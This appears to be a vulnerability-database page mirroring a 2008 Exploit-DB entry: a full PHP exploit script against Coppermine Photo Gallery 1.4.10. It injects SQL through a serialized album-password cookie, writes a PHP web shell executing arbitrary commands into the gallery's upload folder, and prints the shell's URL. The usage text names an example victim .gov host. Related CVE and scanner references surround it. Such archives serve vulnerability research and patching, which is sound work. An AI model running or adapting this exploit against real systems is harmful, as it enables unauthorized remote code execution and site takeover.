Lucene search
+L

Coppermine Photo Gallery 1.4.10 - 'thumbnails.php' SQL Injection (SQLi) / Remote Code Execution (RCE)

🗓️ 21 Jan 2008 00:00:00Reported by bazikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

Coppermine Photo Gallery 1.4.10 SQL Injection exploit for album pat

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Coppermine Photo Gallery < 1.4.11 Album Password Cookie SQL Injection
22 Jan 200800:00
–nessus
nessus
Tenable Nessus
FreeBSD : coppermine -- multiple vulnerabilities (9f581778-e3d4-11dc-bb89-000bcdc1757a)
26 Feb 200800:00
–nessus
freebsd
FreeBSD
coppermine -- multiple vulnerabilities
6 Nov 200700:00
–freebsd
cve
CVE
CVE-2007-1107
26 Feb 200717:00
–cve
cve
CVE
CVE-2008-0504
31 Jan 200819:30
–cve
cvelist
Cvelist
CVE-2007-1107
26 Feb 200717:00
–cvelist
cvelist
Cvelist
CVE-2008-0504
31 Jan 200819:30
–cvelist
exploitdb
Exploit DB
Coppermine Photo Gallery 1.3.x - 'cpg131_fav' Blind SQL Injection (SQLi)
24 Feb 200700:00
–exploitdb
exploitdb
Exploit DB
Coppermine Photo Gallery 1.4.10 - SQL Injection (SQLi)
22 Jan 200800:00
–exploitdb
euvd
EUVD
EUVD-2007-1104
7 Oct 202500:30
–euvd
Rows per page
<?php
#####################################
# Coppermine gallery SQL injection exploit
# based on RST/GHC bugs
# Author: bazik, icq 178377
#####################################
error_reporting(0);
class cpg1410_xek {
   public $GLOBALS = array();

   function prepareExp($sql) {
      $a1 = '1) UNION SELECT ' . $this->toHex($sql) . ', ' . $this->toHex('bazik') . ' LIMIT 1,1/*';
      $b1 = 'bazik';
      $a2 = $sql;
      $b2 = 'bazik';
      $arr = array($a1 => $b1, $a2 => $b2);
      return $this->GLOBALS['prefix'] . '_albpw=' . rawurlencode(serialize($arr));
   }

   function toHex($str) {
      for ($i=0; $i < strlen($str); $i++)
         $result .= sprintf("%X", ord($str[$i]));
      return "0x" . $result;
   }

   function sendQuery($out) {
      $fp = fsockopen($this->GLOBALS['host'], 80, $errno, $errstr, 30);
      if(!$fp)
         die("[-] Can't connect to " . $this->GLOBALS['host'] . " ...\n\n");
      else {
         fwrite($fp, $out);
         while(!feof($fp))
            $str .= fgets($fp, 128);
         fclose($fp);
         return $str;
      }
   }

   function getCookiePrefix() {
      $out  = "HEAD " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumId'] . " HTTP/1.1\r\n";
      $out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
      $out .= "Connection: Close\r\n\r\n";
      preg_match_all('!Set-Cookie:.+(.+)_data=.+!Uim', $this->sendQuery($out), $result);
      return $result[1][0];
   }

   function getPathToShell() {
      $out  = "GET " . $this->GLOBALS['path'] . "/themes/sample/theme.php HTTP/1.1\r\n";
      $out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
      $out .= "Connection: Close\r\n\r\n";
      preg_match_all('!in\s(.+).{1}themes.{1}sample.{1}theme.php!Uim', $this->sendQuery($out), $result);
      $str = strip_tags($result[1][0]);
      return str_replace("\\", "/", $str);
   }

   function getShell() {
      $sql = $this->GLOBALS['albumID'] . ') UNION SELECT ' . $this->toHex('<pre><?system($_GET[\'a\']);?></pre>') . ' INTO OUTFILE \'' . $this->GLOBALS['pathToShell'] . '/albums/userpics/shell.php\'/*';
      $out  = "GET " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumID'] . " HTTP/1.1\r\n";
      $out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
      $out .= "Accept-Language: ru\r\n";
      $out .= "Cookie: " . $this->prepareExp($sql) . "\r\n";
      $out .= "Connection: Close\r\n\r\n";
      $this->sendQuery($out);
   }

   function hat() {
      echo "\n## Coppermine SQL injection exploit\n";
      echo "## Vulnerable: CPG 1.4.10 stable\n\n";
      echo "## THIS IS UNPUBLISHED EXPLOIT CODE\n";
      echo "## KEEP IT PRIVATE\n\n";
   }

   function foot() {
      echo "## (c)oded by bazik\n";
      echo "## 20/01/2008\n";
   }
}

$exp = new cpg1410_xek();

if ($argc != 4) {
   $exp->hat();
   echo "For example:\n\n";
   echo "   php cpg1410_xek.php [url] [path] [albumID]\n\n";
   echo "      [url]     = http://www.victim.gov\n";
   echo "      [path]    = \cpg1410\\\n";
   echo "      [albumID] = 1\n\n\n";
   $exp->foot();
} else {
   $exp->hat();

   preg_match("/^(http:\/\/)?([^\/]+)/i", $argv[1], $matches);
   $exp->GLOBALS['host']    = $matches[2];
   $exp->GLOBALS['path']    = $argv[2];
   $exp->GLOBALS['albumID'] = intval($argv[3]);
   $exp->GLOBALS['prefix']  = $exp->getCookiePrefix();
   $exp->GLOBALS['pathToShell']  = $exp->getPathToShell();

   if(empty($exp->GLOBALS['prefix']))
      echo "[-] Can't get cookie prefix ...\n\n";
   else
      echo "[+] Cookie prefix: " . $exp->GLOBALS['prefix'] . "\n";

   if(empty($exp->GLOBALS['pathToShell']))
      echo "[-] Can't recognize full path ...\n\n";
   else {
      echo "[+] Full path: " . $exp->GLOBALS['pathToShell'] . "\n\n";
      $exp->getShell();
      $url = 'http://' . $exp->GLOBALS['host'] . $exp->GLOBALS['path'] . 'albums/userpics/shell.php';
      if (file_get_contents($url))
         echo "   Web-shell: " . $url . "\n\n";
      else
         echo "[-] Can't create web-shell ...\n\n";
   }

   $exp->foot();
}
?>

# milw0rm.com [2008-01-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02229
46